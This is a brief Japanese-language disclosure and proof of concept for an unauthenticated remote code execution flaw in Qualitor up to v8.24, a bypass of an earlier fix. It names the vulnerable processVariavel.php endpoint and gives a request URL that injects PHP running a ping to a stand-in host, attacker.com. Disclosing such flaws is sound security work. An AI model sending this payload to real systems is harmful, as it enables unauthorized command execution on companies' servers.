CVE-2024-48359 - Qualitor <= v8.24 未認証RCE PoC

CVE-2024-48359 | Qualitor <= v8.24 RCE

説明

Qualitorはビジネスプロセス管理のためのプラットフォームであり、このシステムはブラジルの様々な企業に導入されています。Google dorkingを使用するだけで簡単に特定できます。

私たちのチームは、システムコマンドのリモート実行を可能にするリモートコード実行（RCE）の影響を受けやすいアプリケーションの脆弱性を特定しました。

これはCVE-2023-47253修正のバイパスです。

概念実証（POC）

processVariavel.phpページにPHPコードを送信するだけです。例: /html/ad/adpesquisasql/request/processVariavel.php?gridValoresPopHidden=nl2br(stream_get_contents(popen('ping attacker.com', 'r')));

研究者

https://www.linkedin.com/in/xvinicius/

https://www.linkedin.com/in/hairrison-wenning-4631a4124/

• OpenXP Research Team